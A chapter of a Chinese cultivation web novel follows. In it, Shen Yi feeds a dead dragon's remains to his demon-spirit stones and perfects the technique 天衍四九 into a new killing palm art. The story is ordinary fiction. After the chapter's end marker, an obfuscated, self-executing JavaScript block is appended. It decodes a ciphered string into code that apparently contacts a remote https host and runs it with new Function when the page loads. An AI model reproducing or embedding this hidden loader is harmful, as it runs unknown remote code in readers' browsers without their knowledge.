似玄庆这般人物,即便是死,那也要死的洒脱。
譬如祭出最后用于维持生机的鸿蒙紫气,为宗主的无量妖皇宫添砖加瓦。
然后就此陨落,不留痕迹,也算是一段佳话。
但现在情况好像变了,他有些害怕等自己死了以后,宗主会立下一块大碑,在上面留下龙飞凤舞的几个大字。
斩龙道人。
接下来的岁月里,无数的弟子在路过此碑时,都会好奇的问上一句,随即将斩龙道人的故事口口相传……
一想到这里,玄庆浑身紧绷,脚趾头本能的抠起。
祖师殿外。
沈仪淡淡瞥了他的背影一眼,摇摇头,慢悠悠的朝远处走去。
知道害臊就行,说明还有在乎的东西,那就还能继续强忍着活下去。
不过,玄庆的举动,确实是让沈仪有些诧异。
按理来说,自己在这么短的时间内突破返虚九层,而且尽数天宫,应该算是极为不错的表现了。
然而玄庆前辈不仅没有因此感到有大仇得报的希望,反而打算直接了结残躯。
这也就证明着,对方的故事,哪怕以自己现在的表现,仍旧是没有资格去听的。
“啧。”
沈仪朝着藏法阁掠去。
他有些不太明白,玄庆哪怕声名再响,但说到底曾经也只是一个道子,白玉京的修为,到底能惹上什么样的存在。
就算是洪泽四大龙宫,也不至于连提都不敢提起吧?
反正别管玄庆前辈惹上了谁。
自己现在是真的和南龙宫结下了死仇。
沈仪早就不是先前初出南阳,什么都不懂的小修士。
苏红袖敢这般大摇大摆的踏入肉翼蚕虫的宫殿,且直到最后,柯老七的爹都没有露面,肯定是天剑宗出了手。
他们大概率去找了那位南龙宫的王爷。
但事情又仅限于龙孙母族,并没有牵扯过多,说明那位龙宫王爷应该还活着。
就是不清楚,这头老龙到底知不知道是自己动的手。
似这般强悍妖魔,应该都有探知消息的手段……若是真的知道了,那可就麻烦了。
沈仪闭上眼眸。
在识海之中,乌俊的镇石脚掌上,赫然又是一枚血符。
他轻轻叹口气:“……”
倒不是畏惧什么,这种事情早该习惯了,债多不愁,蚊子多了不痒。
让沈仪有些头疼的是,随着龙宫的警惕越高,对自己的了解越深,以后再动起手来,风险将会暴涨。
嘎吱。
沈仪踏入藏法阁,来到顶楼,缓缓推开了那扇木门。
重新回到那片被白雾环绕的地方。
“玄庆来了,你今日又想学什么法?”
如出一辙的温和嗓音,须发皆白的老人盘膝而坐。
沈仪摆摆手算作打招呼。
这才祭出了柯十三的镇石,又从扳指内取出柯老七的尸首。
先前在突破的时候,他发现了一件事情。
那就是这两头龙孙,居然可以不算作同一尊镇石。
一头是紫珠黄龙,一头是肉翼黄龙。
当然,这没什么好奇怪的,毕竟母族不同,血脉确实也发生了变化。
真正让沈仪诧异的是,明明不算完全的同族,但柯十三的镇石,居然也能吸收它七哥的血肉。
“我主……”
柯十三强忍着激动,终于要轮到自己了吗?
沈仪收回眸光,说实在的,就柯老七的表现,他真不愿意单独给对方凝一尊镇石来重塑妖魂,要实力没实力,要悟性没悟性,主要是年纪还不小,纯纯浪费妖魔寿元。
心神微动间。
柯老七胸膛塌陷的尸首,便是化作血海涌入了柯十三的体内。
与先前不同的是,大约六成左右的血肉汇入镇石以后,剩下的血浆便是悬在空中。
沈仪略微一怔,随即又唤出了肉翼蚕虫镇石,将另外的四成灌入了它的体内。
还真是一点不浪费。
待到两尊镇石将柯老七分了个干净。
沈仪看着柯十三逐渐充沛起来的气息,既然能够成长,那倒是可以考虑喂些妖魔本源了。
妖魂愈强大,在推演时能坚持的时间也就更久。
【剩余妖魔寿元:两百二十三万三千年】
“……”
柯十三还没来得及从境界的巨大提升中回过神来,浓郁喜色仍挂在脸上,便是被强行投喂起了妖魔本源。
它瞪大眼睛,好像是猜到了什么:“我主……我……”
天底下哪里有白吃的午餐。
坏了,要坐大牢!
妖魔本源说穿了也就是一万年的精神历练,妖物本身的资质的悟性,也影响着这一万年具体能发挥多大的效果。
仅仅十九枚妖魔本源下去。
面板中,柯十三名字后面的词缀,便是一路提升到了灵级。
哪怕是以后突破至白玉京都够用了。
沈仪侧眸看去,顺手将其收回了面板,然后浩瀚的妖魔寿元,便是干脆利落的灌入了天衍四九之中。
【第一年,你带着柯宣柬开始再次尝试推演这门灵法,你们两个对天衍四九的理解,可以说是近乎圆满,但想要触及真正的终点,却又毫无思绪】
白雾环绕之内。
沈仪的身影好似化作了一尊坐像,那双清澈眼眸逐渐被仿佛夜幕的漆黑所占据。
想要将一式灵法,推演至圆满境界。
绝不仅仅是靠努力去堆砌,更多靠的乃是那天赐的一抹灵光乍现。
也就是所谓的开悟。
但沈仪无所谓,没有灵光乍现,那就慢慢等,就硬等!
妖魔寿元的流逝愈发夸张起来,从最开始的数十年弹指一瞬,直到以万年为单位。
沈仪分明只坐了一会儿。
但神情间的枯槁与疲惫,却仿佛已经在此地枯坐了数十万年,乃至浑身的生机都愈发萎靡。
唯有那双眼眸逐渐清亮。
宛如漆黑夜幕的瞳孔中,好似有星辰闪烁。
【第三十二万年,在你勤勉的督促下,柯宣柬仿佛疯了一般,癫狂的吞噬着那来之不易的一缕缕感悟,将每一缕感悟都分享给你,化作了漫天晨星】
【第三十九万年,你们两個呆坐在原地,突然猖狂的大笑起来,你们终于填满了这片天穹,大道五十,天衍四九,你们用这漫天星辰,遮蔽了那遁去的一,天衍四九终于圆满,但还不够,伱们对视一眼,脑海中涌现出了相同的夸张想法】
【返虚(灵).天衍四九:圆满】
【第五十七万年,柯宣柬纵身一跃,直面这片骇人的苍穹,它手执龙枪,拨开了一颗又一颗星辰,它终于找到了遁去的一,它奋力的朝那唯一的生机掠去,刹那间,紫星消散,只剩下那一袭微微摇曳的墨衫,你略微回眸看去,以掌覆之,白皙的掌心内,乃是另一片天幕】
【返虚(灵).无生掌】
在面板推演停止的瞬间,沈仪眼眸中倏然有精光冲霄。
他那僵硬的身躯微微震颤,随即抬起了手掌。
掌心里仍旧躺着那枚血符,纹路清晰,似乎与先前没有任何变化。
但唯有陪着柯十三历经这么多年的沈仪清楚,这只手掌到底意味着什么。
玄庆前辈说的不错。
天衍四九确实是一门很蠢笨的功法,哪怕是臻至圆满境界,也只不过是穷举出更多的变化,以此迷惑对手。
但在两人的灵光乍现之下。
突然有所明悟。
既然无论如何,都无法消除那遁去的一。
与其不断的增加变化去隐藏它,为何不干脆以身相替。
无生掌。
替天,行杀伐之道。
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();